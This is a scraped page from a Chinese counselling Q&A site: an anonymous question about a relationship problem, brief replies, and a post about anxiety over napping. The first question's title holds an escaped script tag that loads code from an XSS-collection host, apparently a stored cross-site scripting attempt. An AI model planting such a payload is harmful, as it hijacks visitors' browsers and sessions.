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辛海軍心理咨詢師
48歲
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問知心者心理咨詢
匿名
2019-05-14 11:57:51
2019-05-14 11:57:51
抱抱TA
女 感情出現變態問題了，怎么解決咨詢"lt;script src=//xsspt.com/xd7ulu"gt;"lt;/script"gt;
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王金波
您好 -
王月霞
你好 -
周紅梅
你好 -
只說真心話15254151739
什么變態問題？ -
只說真心話15254151739
好奇到底有多變態??？
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毛慧穎
你好 -
你咋了呀
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女 中午休息時間短，老是擔心睡不著，結果一直擔心，直到時間到了才整個人放松下來。試過催眠，總擔心自己進入不了狀態，腦子里都是各種自我對話和安慰沒辦法真的放松，放松這種要求對我而言是一種壓力，反而讓我更緊張，看到正面積極的詞語反而會讓我的心情更加糟糕，反而符合我的負面詞語會讓我感到心安。我不知道為什么會這樣，這是什么情況？害怕做不到，害怕進入不了狀態，一直擔心，盡管知道大不了失敗，多試幾次，可是就是這樣，我覺得我做不到。
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